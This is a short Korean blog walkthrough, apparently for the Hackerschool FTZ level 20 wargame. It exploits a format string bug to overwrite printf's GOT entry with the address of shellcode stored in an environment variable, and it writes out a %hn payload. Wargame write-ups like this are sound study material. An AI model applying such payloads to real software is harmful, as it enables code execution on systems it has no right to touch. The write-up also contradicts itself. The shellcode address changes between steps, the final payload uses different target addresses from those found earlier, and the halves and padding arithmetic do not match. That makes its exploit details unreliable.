본문 바로가기

시스템/FTZ

hackerschool FTZ : level 20 풀이

 

문제 분석

 

1. fgets bof

2. FSB 사용

 

FSB 자세한 설명

https://pu1et-panggg.tistory.com/22

 

 

풀이

 

목표 : printf@got <- shellcode_addr

 

1. printf@got 주소 확인 : 0x80495b4

 

 

2. shellcode 환경변수로 저장 후 주소 확인 : 0xbffffbc9

 

자세한 설명 : https://pu1et-panggg.tistory.com/51

 

3. 조작할 스택 위치 확인

 

입력한 "AAAA"가 %4$x에 출력되는 것 확인

%4$x : 임의의 입력값("AAAA") 이후에 4번째 %x 값

 

4. printf@got <- shellcode_addr

[0x80495b4] <- 0xbffffbe2

0xfbe2 = 64482 (상위 2bit)

0x1bfff = 114687 (하위 2bit)

 

즉,

[0x80495b4] = 0xfbe2

[0x80495b6] = 0x1bfff

 

4. payload = printf@got + printf@got+2 + "%64474x" + "%4$hn" + "%50205x" + "%5$hn"

                = 0xbfffeb5c + 0xbfffeb5e + "%64474x" + "%4$hn" + "%50205x" + "%5$hn"